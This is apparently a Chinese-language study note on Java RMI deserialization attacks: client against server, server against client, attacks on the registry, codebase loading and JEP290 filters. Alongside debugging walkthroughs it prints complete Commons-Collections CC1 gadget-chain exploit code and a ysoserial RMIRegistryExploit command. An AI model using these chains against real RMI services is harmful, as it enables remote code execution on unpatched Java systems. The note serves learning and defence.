前言:这篇发现自己讲的很乱,知识点进行了拼凑,不好理解,以后有了更多的理解会继续补上

记录下关于RMI反序列化系列的攻击的类型和相关的攻击方式

参考文章:https://xz.aliyun.com/t/7930

客户端攻击服务端

第一种:RMI服务端提供的对象的方法参数有一个是Obejct类型

RMI反序列化漏洞又是如何引起的呢?

关于RMI的知识点:

1、在RMI中对象是通过序列化方式进行编码传输的

2、RMI服务端提供的方法,被调用的时候该方法是在服务端自身的机器上进行执行的

实现RMI利用反序列化攻击,需要满足两个条件:

1、接收Object类型参数的远程方法

android xml 反序列化 序列化 javarmi反序列化_客户端

2、RMI的服务端存在执行POP利用链的jar包

android xml 反序列化 序列化 javarmi反序列化_服务端_02

服务端的代码,这里只需要创建一个注册中心,然后进行监听即可

import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    // RMI服务器IP地址
    public static final String RMI_HOST = "172.20.10.2";
    // RMI服务端口
    public static final int RMI_PORT = 1099;
    // RMI服务名称
    public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/AAAAAAA";

    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
        // 注册RMI服务端口
        Registry registry = LocateRegistry.createRegistry(RMI_PORT);
        // 绑定对应的Remote对象(这里就是你的RMITestImpl对象)
        Naming.bind(RMI_NAME, new RMITestImpl());
        System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
    }
}

这里我们拿刚分析完的CC1链来做实验,这里重新改写远程对象的类,因为需要满足接收Object参数的远程方法,所以如下所示:

android xml 反序列化 序列化 javarmi反序列化_Java_03

然后我们的客户端再把CC1链的payload作为test方法的参数进行发送,CC1链的payload如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.*;
import java.net.MalformedURLException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.util.HashMap;
import java.util.Map;

public class RMIClient {
    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        // 查找指定RMI_NAME的远程RMI服务
        // 创建RemoteStub
        RMITest remoteSub = (RMITest) LocateRegistry.getRegistry("172.20.10.2", 1099).lookup("AAAAAAA");
        String result = remoteSub.test(sendPayload());
        System.out.println(result);
    }

    public static Object sendPayload() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        InvocationHandler handler = null;
        try {
            ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{
                            String.class, Class[].class}, new Object[]{
                            "getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{
                            Object.class, Object[].class}, new Object[]{
                            null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class}, new Object[]{"calc"})});
            HashMap innermap = new HashMap();
            Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
            Constructor[] constructors = clazz.getDeclaredConstructors();
            Constructor constructor = constructors[0];
            constructor.setAccessible(true);
            Map map = (Map) constructor.newInstance(innermap, chain);

            Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
            handler_constructor.setAccessible(true);
            InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //创建第一个代理的handler

            Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //创建proxy对象

            Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
            AnnotationInvocationHandler_Constructor.setAccessible(true);
            handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);
        }catch(Exception e){
            e.printStackTrace();
        }

        return handler;
    }
}

然后RMI客户端如下内容:

android xml 反序列化 序列化 javarmi反序列化_服务端_04

然后先开启RMI服务端,然后再开客户端,反序列化RCE执行成功!

android xml 反序列化 序列化 javarmi反序列化_服务端_05

特别需要注意的就是jdk的版本,分析过CC1的都知道,这条链只能在JDK1.7中进行利用,所以复现的时候大家需要注意,也是自己走过的坑!

调试分析

原因是什么呢?RMI服务端是如何解析才会造成这样的漏洞利用,已经是反序列化那么肯定就涉及到了readObject相关的函数,其实在自己RMI笔记中已经说明了,我们重新回顾下RMI客户端与服务端的调用过程!

可以发现第六步的Skeleton在将客户端传过来的已经序列化的Remote对象进行反序列化的时候,这时候就开始了

RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制,RMI调用远程方法的大致如下:

1. RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)。

2. Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。

3. RemoteCall序列化RMI服务名称、Remote对象。

4. RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式(传输层)传输到RMI服务端的远程引用层。

5. RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)。

注:反序列化就是从这里开始的,在RMI过程中,RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会传递给Skeleton代理(sun.rmi.registry.RegistryImpl_Skel#dispatch),反序列化的操作实际是sun.rmi.registry.RegistryImpl_Skel#dispatch来进行处理

6. Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。

7. Skeleton处理客户端请求:bind、list、lookup、rebind、unbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。

8. RMI客户端反序列化服务端结果,获取远程对象的引用。

注:RMI客户端能够反序列化服务端的结果,那么也注定了RMI客户端上也能造成反序列化漏洞

9. RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端

注:这里其实就说明了真正执行代码的地方并不是在客户端而是在服务端,而客户端代码的方法调用只不过是取得了数据

10. RMI客户端反序列化RMI远程方法调用结果。

根据上面的流程,这边来调试,我调试的环境是jdk7u80

因为这里是分析RMI服务端,所以根据之前的RMI的分析流程中可以直到,当客户端要调用方法的时候,肯定是将对应方法要用到的数据进行序列化然后传递,然后客户端进行反序列化对应的参数数据,然后在本地进行调用,将返回结果返回给客户端

所以这里直接给UnicastServerRef的打个断点,可以发现来到服务端断点来到如下

android xml 反序列化 序列化 javarmi反序列化_反序列化_06

跟到oldDispatch方法中,它会继续调用RegistryImpl_Skel的dispatch方法,这里继续跟即可

android xml 反序列化 序列化 javarmi反序列化_反序列化_07

来到如下,进行反序列化客户端传来的请求,反序列化出来可以得到对应客户端要请求的远程对象的名称字符串

android xml 反序列化 序列化 javarmi反序列化_Java_08

再接着服务端就进行lookup方法,通过客户端要请求的远程对象的名称字符串来获得远程对象

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
        //一处接口hash验证
        if (var4 != 4905912898345647071L) {
            throw new SkeletonMismatchException("interface hash mismatch");
        } else {
        //设定变量开始处理请求
            //var6为RegistryImpl对象,调用的就是这个对象的bind、list等方法
            RegistryImpl var6 = (RegistryImpl)var1;
            //接受客户端输入流的参数变量
            String var7;
            Remote var8;
            ObjectInput var10;
            ObjectInput var11;
            //var3表示对应的方法值0-4,这个数字是跟RMI客户端约定好的
            //比如RMI客户端发送bind请求:就是sun.rmi.registry.RegistryImpl_Stub#bind中的这一句
            //super.ref.newCall(this, operations, 0, 4905912898345647071L);
            switch(var3) {
            //统一删除了try等语句
            case 0:
                    //bind(String,Remote)分支
                    var11 = var2.getInputStream();
                    //1.反序列化触发处
                    var7 = (String)var11.readObject();
                    var8 = (Remote)var11.readObject();
                    var6.bind(var7, var8);
            case 1:
                    //list()分支
                    var2.releaseInputStream();
                    String[] var97 = var6.list();
                    ObjectOutput var98 = var2.getResultStream(true);
                    var98.writeObject(var97);

            case 2:
                  //lookup(String)分支
                    var10 = var2.getInputStream();
                    //2.反序列化触发处
                    var7 = (String)var10.readObject();
                    var8 = var6.lookup(var7);

            case 3:
                  //rebind(String,Remote)分支
                    var11 = var2.getInputStream();
                    //3.反序列化触发处
                    var7 = (String)var11.readObject();
                    var8 = (Remote)var11.readObject();
                    var6.rebind(var7, var8);

            case 4:
                    //unbind(String)分支
                    var10 = var2.getInputStream();
                    //4.反序列化触发处
                    var7 = (String)var10.readObject();
                    var6.unbind(var7);
            default:
                throw new UnmarshalException("invalid method number");
            }

        }
    }

android xml 反序列化 序列化 javarmi反序列化_Java_09

接着就是客户端操作了, 客户端拿到对象之后就要开始进行调用方法

android xml 反序列化 序列化 javarmi反序列化_服务端_10

sendPayload方法中是包含我们的恶意数据

android xml 反序列化 序列化 javarmi反序列化_服务端_11

此时切回服务端,可以看到服务端接收到请求之后,开始获取对应的远程对象的方法

android xml 反序列化 序列化 javarmi反序列化_Java_12

接着开始就调用UnicastServerRef的unmarshalValue方法来进行解析传过来的参数数据,因为我们这里定义的远程对象参数是Object

android xml 反序列化 序列化 javarmi反序列化_服务端_13

所以下面的的判断都不会满足,那么最终执行的就是return var1.readObject();

protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
        if (var0.isPrimitive()) {
            if (var0 == Integer.TYPE) {
                return var1.readInt();
            } else if (var0 == Boolean.TYPE) {
                return var1.readBoolean();
            } else if (var0 == Byte.TYPE) {
                return var1.readByte();
            } else if (var0 == Character.TYPE) {
                return var1.readChar();
            } else if (var0 == Short.TYPE) {
                return var1.readShort();
            } else if (var0 == Long.TYPE) {
                return var1.readLong();
            } else if (var0 == Float.TYPE) {
                return var1.readFloat();
            } else if (var0 == Double.TYPE) {
                return var1.readDouble();
            } else {
                throw new Error("Unrecognized primitive type: " + var0);
            }
        } else {
            return var1.readObject();
        }
    }

android xml 反序列化 序列化 javarmi反序列化_反序列化_14

可以看到执行到了readObject方法

android xml 反序列化 序列化 javarmi反序列化_服务端_15

最终触发CC1的服务端反序列化达到RCE

android xml 反序列化 序列化 javarmi反序列化_客户端_16

注意:关于RegistryImpl_Skel#dispatch,这个方法在7u80无法进行调试,后来换到了jdk8u180中进行调试的时候可以找到

android xml 反序列化 序列化 javarmi反序列化_反序列化_17

第二种:绕过RMI服务端提供的对象的方法参数有一个是Obejct类型

难道服务端一定是只有提供了Object参数的方法的时候才会被客户端进行攻击到吗?

答案不是的,我这里开头说了需要的是Object,其实并不是,只要提供了非基础类的参数接口,我们都可以对其进行反序列化攻击,但是普遍的文章都说是Object,所以我这里标题也就是Object

最终进行服务端最终进行反序列化操作的是在sun.rmi.server.UnicastServerRef#dispatch的unmarshalValue方法中

android xml 反序列化 序列化 javarmi反序列化_服务端_18

这里可以跟进,可以看到只要不是默认为不是下面的基本类型的话,那么都是可以进行反序列化操作的,所以不仅仅只是Object类型

调试分析

还是走到这里,这里可以看到,如果不是符合下面的基本类型

protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
    if (var0.isPrimitive()) {
        if (var0 == Integer.TYPE) {
            return var1.readInt();
        } else if (var0 == Boolean.TYPE) {
            return var1.readBoolean();
        } else if (var0 == Byte.TYPE) {
            return var1.readByte();
        } else if (var0 == Character.TYPE) {
            return var1.readChar();
        } else if (var0 == Short.TYPE) {
            return var1.readShort();
        } else if (var0 == Long.TYPE) {
            return var1.readLong();
        } else if (var0 == Float.TYPE) {
            return var1.readFloat();
        } else if (var0 == Double.TYPE) {
            return var1.readDouble();
        } else {
            throw new Error("Unrecognized primitive type: " + var0);
        }
    } else {
        //将从客户端传输过来的序列化数据流进行readObject
        return var1.readObject();
    }
}

这里还有一个有意思的点,就是下面这段判断流程,看起来是不允许Integer类型进行反序列化,实际上这里的Integer.TYPE并不是interger类型,而是一个int类型,所以说如果是Interger类型的参数那么也可以实现客户端伪造恶意数据来攻击服务端

if (var0 == Integer.TYPE) {
            return var1.readInt();

这里跟到Interger.TYPE可以发现,它实际上是一个int的类型

public static final Class<Integer>  TYPE = (Class<Integer>) Class.getPrimitiveClass("int");

知识点:Interger和int的关系,integer是int的封装类型

服务端攻击客户端

服务端攻击客户端,这种是比较通用的攻击情景了,大抵可以分为以下两种情景。 (ps:为什么说是通用的攻击情景,是我们平常进行反序列化攻击都是这样的方式的吗)

这里提一下,平常fastjson来进行的jndi注入的方式就是服务端攻击客户端的方式来进行的

第一种方法:RMI服务端返回参数为Object对象

在RMI中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化。所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象

这里的gadgets以cc1为例

RMITest:

public interface RMITest extends Remote {
    Object test() throws RemoteException;
}

android xml 反序列化 序列化 javarmi反序列化_Java_19

RMITestImpl:

public class RMITestImpl extends UnicastRemoteObject implements RMITest {
    protected RMITestImpl() throws RemoteException {
        super();
    }

    public Object test() throws RemoteException{

        InvocationHandler handler = null;
        try {
            ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{
                            String.class, Class[].class}, new Object[]{
                            "getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{
                            Object.class, Object[].class}, new Object[]{
                            null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class}, new Object[]{"calc"})});
            HashMap innermap = new HashMap();
            Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
            Constructor[] constructors = clazz.getDeclaredConstructors();
            Constructor constructor = constructors[0];
            constructor.setAccessible(true);
            Map map = (Map) constructor.newInstance(innermap, chain);


            Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
            handler_constructor.setAccessible(true);
            InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //创建第一个代理的handler

            Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //创建proxy对象


            Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
            AnnotationInvocationHandler_Constructor.setAccessible(true);
            handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);

        }catch(Exception e){
            e.printStackTrace();
        }

        return (Object)handler;
    }
}

服务端:

public class RMIServer {
    // RMI服务器IP地址
    public static final String RMI_HOST = "192.168.1.230";
    // RMI服务端口
    public static final int RMI_PORT = 9527;
    // RMI服务名称
    public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/AAAAAAA";

    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
        // 注册RMI服务端口
        LocateRegistry.createRegistry(RMI_PORT);
        // 绑定对应的Remote对象(这里就是你的RMITestImpl对象)
        Naming.bind(RMI_NAME, new RMITestImpl());
        System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
    }
}

客户端:

public class RMIClient {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        RMITest remoteSub = (RMITest) LocateRegistry.getRegistry("192.168.1.230", 9527).lookup("AAAAAAA");
        remoteSub.test();
    }
}

android xml 反序列化 序列化 javarmi反序列化_反序列化_20

调试分析

这里直接在remoteSub.test();上下一个断点

android xml 反序列化 序列化 javarmi反序列化_反序列化_21

接着单步跟进,这里会调用RemoteObjectInvocationHandler的invoke,因为绑定的远程对象都是通过动态代理进行生成的,所以都会进行invoke方法的执行

android xml 反序列化 序列化 javarmi反序列化_Java_22

接着跟进到invokeRemoteMethod方法中

android xml 反序列化 序列化 javarmi反序列化_服务端_23

通过UnicastRef引用层来建立通信,StreamRemoteCall封装

android xml 反序列化 序列化 javarmi反序列化_Java_24

然后就是调用executeCall调用远程方法

android xml 反序列化 序列化 javarmi反序列化_反序列化_25

接着跟进unmarshalValue方法

android xml 反序列化 序列化 javarmi反序列化_Java_26

同样的该方法也是进行解析序列化数据,跟上面的一样,因为此时返回的是Object对象,所以最终走的就是return var1.readObject();,所以这里客户端触发反序列化导致命令执行

protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
        if (var0.isPrimitive()) {
            if (var0 == Integer.TYPE) {
                return var1.readInt();
            } else if (var0 == Boolean.TYPE) {
                return var1.readBoolean();
            } else if (var0 == Byte.TYPE) {
                return var1.readByte();
            } else if (var0 == Character.TYPE) {
                return var1.readChar();
            } else if (var0 == Short.TYPE) {
                return var1.readShort();
            } else if (var0 == Long.TYPE) {
                return var1.readLong();
            } else if (var0 == Float.TYPE) {
                return var1.readFloat();
            } else if (var0 == Double.TYPE) {
                return var1.readDouble();
            } else {
                throw new Error("Unrecognized primitive type: " + var0);
            }
        } else {
            return var1.readObject();
        }
    }

服务端攻击注册中心

对于攻击注册中心的知识点

首先要知道的一个流程,当客户端调用远程对象方法的时候一共进行了两步操作:

1、要获得对应的对象,客户端需要先请求注册中心拿到要调用的对象,首先客户端会先请求注册中心,接着注册中心序列化对应的对象返回,然后客户端接收到了进行反序列化

2、拿到了一个对象之后,继续调用方法,这时候就是请求RMI服务端调用方法,接着服务端RMI进行序列化数据返回给客户端,客户端再反序列化获得对应对象调用的方法的数据

总结:

RMI Registry就像⼀个⽹关,他⾃⼰是不会执⾏远程⽅法的,但RMI Server可以在上⾯注册⼀个Name到对象的绑定关系;

RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMIServer;

最后,远程⽅法实际上在RMI Server上调⽤。

那么如果我们进行伪造一个恶意的RMI服务端对注册中心Registry进行bind函数操作的时候,这个时候就是在跟注册中心Registry进行交互,双方同样也是通过序列化和反序列化进行数据的传输,那么最后在注册中心就会进行RegistryImpl_Skel触发反序列化操作,从而进行命令执行

服务端代码:

public class RMIServer {
    // RMI服务器IP地址
    public static final String RMI_HOST = "172.20.10.2";
    // RMI服务端口
    public static final int RMI_PORT = 1099;
    // RMI服务名称
    public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/AAAAAAA";

    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
        // 注册RMI服务端口
        LocateRegistry.createRegistry(RMI_PORT);
        // 绑定对应的Remote对象(这里就是你的RMITestImpl对象)
        // Naming.bind(RMI_NAME, new RMITestImpl());
        System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
        while(true){}
    }
}

客户端代码:

public class RMIExploitClient {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        Transformer transformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value","sss");//左边的值必须要是value
        Map outputMap = TransformedMap.decorate(innerMap,null,transformer);
        try {
            Constructor<?> constructor = null;
            constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
            constructor.setAccessible(true);
            InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class,outputMap);

            Remote remote = Remote.class.cast(Proxy.newProxyInstance(RMIExploitClient.class.getClassLoader(), new Class[] {Remote.class}, invocationHandler));
            Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
            registry.bind("sa",remote); // bind注册中心
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

android xml 反序列化 序列化 javarmi反序列化_客户端_27

android xml 反序列化 序列化 javarmi反序列化_客户端_28

调试分析

服务端触发反序列化的地方是在/rt.jar!/sun/rmi/server/UnicastServerRef.class#RegistryImpl_Skel

android xml 反序列化 序列化 javarmi反序列化_服务端_29

同样的先是在UnicastServerRef#didispatch

android xml 反序列化 序列化 javarmi反序列化_服务端_30

接着是在RegistryImpl_Skel#dispatch

android xml 反序列化 序列化 javarmi反序列化_Java_31

然后就来到了这里,这个地方都很熟悉了,就是服务端收到客户端的请求之后,其中有五种方法,根据对应的来进行执行,因为客户端执行的是bind方法

android xml 反序列化 序列化 javarmi反序列化_反序列化_32

所以这里的服务端执行就是bind,对应的值就是0,执行如下过程,可以看到执行了readObject读取Remote对象,从而进行了反序列化操作触发命令执行

android xml 反序列化 序列化 javarmi反序列化_服务端_33

关于ysoserial中的RMIRegistryExploit攻击模块

我们在通过服务端攻击注册中心的时候,同样也可以用ysoserial中的RMIRegistryExploit模块来进行实现,用法如下所示

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections6 calc

android xml 反序列化 序列化 javarmi反序列化_Java_34

但是如果是jdk高版本的话就不能进行攻击了,这个就涉及到了jdk的补丁,关于JEP290策略

浅谈RMI利用codebase执行任意代码

什么是codebase

继续讲,曾经有段时间,Java是可以运行在浏览器中的,对,就是Applet这个奇葩。在使用Applet的时候通常需要指定一个codebase属性,比如:

<applet code="HelloWorld.class" codebase="Applets" width="800" height="600"> </applet>

其中的codebase是什么?

codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。

如果我们指定 codebase=http://example.com/ ,然后加载 org.vulhub.example.Example 类,则Java虚拟机会下载这个文件 http://example.com/org/vulhub/example/Example.class ,并作为Example类的字节码。

RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase中的类。

所以到这里,当我们如果能控制codebase的话,那么某一端进行反序列化的时候也能进行我们想执行的命令,在RMI中,我们是可以将codebase随着序列化数据一起传输的,服务器在接收到这个数据后就会去CLASSPATH和指定的codebase寻找类,由于codebase被控制导致任意命令执行漏洞。

不过显然官方也注意到了这一个安全隐患,所以只有满足如下条件的RMI服务器才能被攻击:

1、安装并配置了SecurityManager

2、Java版本低于7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false

其中 java.rmi.server.useCodebaseOnly 是在Java 7u21、6u45的时候修改的一个默认设置:https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/enhancements-7.html

android xml 反序列化 序列化 javarmi反序列化_Java_35

官方将java.rmi.server.useCodebaseOnly的默认值由false改为了true,在java.rmi.server.useCodebaseOnly配置为true的情况下,Java虚拟机将只信任预先配置好的codebase,不再支持从RMI请求中获取。

参考:java安全漫谈 RMI(2)

关于JEP290策略

参考文章:https://www.cnpanda.net/sec/968.html

什么是JEP290策略,在JEP290规范之后,即JAVA版本6u141, 7u131, 8u121之后,以上攻击就不奏效了,其实就是在服务端反序列化触发点的限制策略,这里来进行对比下

如下图所示,这是8u66的jdk中的sun.rmi.registry.RegistryImpl_Skel#dispatch,可以发现还没有存在相关的修复方法

android xml 反序列化 序列化 javarmi反序列化_反序列化_36

如下图所示,这是8u181的jdk中的sun.rmi.registry.RegistryImpl_Skel#dispatch,比如在bind分支中可以明显的看到多了一个方法checkAccess,但是该方法并不是主要拦截反序列化的方法

关于checkAccess的作用:验证是否是服务端对注册端进行注册,如果不是本地地址的话那么就会进行拒绝注册相关对象到注册端上

android xml 反序列化 序列化 javarmi反序列化_服务端_37

最终导致的结果就是对于6u141, 7u131, 8u121之前的payload用起来,现在的话就会进行拦截,如下图所示

android xml 反序列化 序列化 javarmi反序列化_反序列化_38

如下图所示,通过调试发现,对于黑名单反序列化拦截的操作是发生在触发反序列化的var80 = (Remote)var9.readObject();,而过滤操作实则是在readObject中的底层进行触发的

android xml 反序列化 序列化 javarmi反序列化_服务端_39

其中判断语句为如下所示,判断我们的输入的序列化类型是否为以下的几类class白名单之中,如果我们输入的类属于下面这些白名单的类或超类,就返回ALLOWED,不然就返回REJECTED报错。

return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2)  Status.REJECTED : Status.ALLOWED;

android xml 反序列化 序列化 javarmi反序列化_服务端_40

关于JEP290的疑问

那么为什么我们正常反序列化利用的时候,该JEP290策略没有生效?

JEP290需要手动设置,只有设置了之后才会有过滤,没有设置的话就还是可以正常的反序列化漏洞利用

JEP290默认只为 RMI 注册表(RMI Register层)、 RMI分布式垃圾收集器(DGC层)以及 JMX 提供了相应的内置过滤器